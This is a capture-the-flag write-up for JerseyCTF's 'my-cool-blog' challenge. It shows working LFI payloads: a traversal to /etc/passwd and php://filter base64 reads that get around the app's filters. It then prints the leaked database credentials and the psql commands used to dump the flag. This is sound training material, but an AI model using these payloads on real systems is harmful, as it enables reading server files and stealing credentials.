my-cool-blog – jerseyctf6

Challenge Overview

This challenge involves chaining multiple vulnerabilities — Directory Traversal, Local File Inclusion (LFI), and a PHP filter bypass — to extract database credentials and retrieve the flag directly from a PostgreSQL database.

Key concepts: LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration

Step 1 – Reconnaissance

The challenge URL exposes a suspicious file parameter:

http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1

Landing page

Run an nmap scan to fingerprint the target:

nmap -sV my-cool-blog.aws.jerseyctf.com

Target scan

Port Service Version
22 SSH OpenSSH 8.7
80 HTTP Apache 2.4.63 Ubuntu
5432 PostgreSQL DB 18.0–18.2

The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.

Step 2 – Confirm LFI via Directory Traversal

Passing an invalid path to the file parameter triggers a verbose PHP error:

PHP error disclosure

This leaks two critical details — the app passes user input directly to file_get_contents(), and the absolute server path is /opt/server/. Verify LFI by reading /etc/passwd:

?file=../../../../etc/passwd

LFI confirmed

Confirmed. We have LFI.

Step 3 – Enumerate the Source Code

Use the PHP Base64 filter wrapper to read view-post.php without the server executing it:

?file=php://filter/convert.base64-encode/resource=view-post.php

Decoded source code

Decoding the Base64 output reveals two security checks:

  1. Directory block — blocks any input starting with includes
  2. Content filter — blocks any file whose contents contain the string pg_connect

The developer even Base64-encoded pg_connect within the source itself (cGdfY29ubmVjdA==) to obscure the check — a textbook security through obscurity mistake.

Step 4 – Bypass the Filters and Extract Credentials

Both filters collapse under the same PHP filter wrapper trick:

  • The includes/ block only checks if input starts with includesphp:// bypasses it entirely
  • The pg_connect content filter never fires because the file is Base64-encoded in memory before str_contains can inspect it

Winning payload:

?file=php://filter/convert.base64-encode/resource=includes/db.inc

Decode the returned Base64 to reveal the PostgreSQL credentials:

host=my-cool-blog.aws.jerseyctf.com
dbname=blog
user=blog_web
password=oPPNQ9vkMdAJx

Step 5 – Connect to PostgreSQL and Dump the Flag

Connect directly to the remote database:

psql -h my-cool-blog.aws.jerseyctf.com -U blog_web -d blog

List the tables:

dt

Query the flag table:

SELECT * FROM flag;

Flag retrieved

Flag

jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}

Pwnsome References

  • PortSwigger – LFI / Path Traversal
  • HackTricks – PHP Filter Wrapper
  • PostgreSQL psql Documentation
  • PayloadsAllTheThings – LFI Wordlist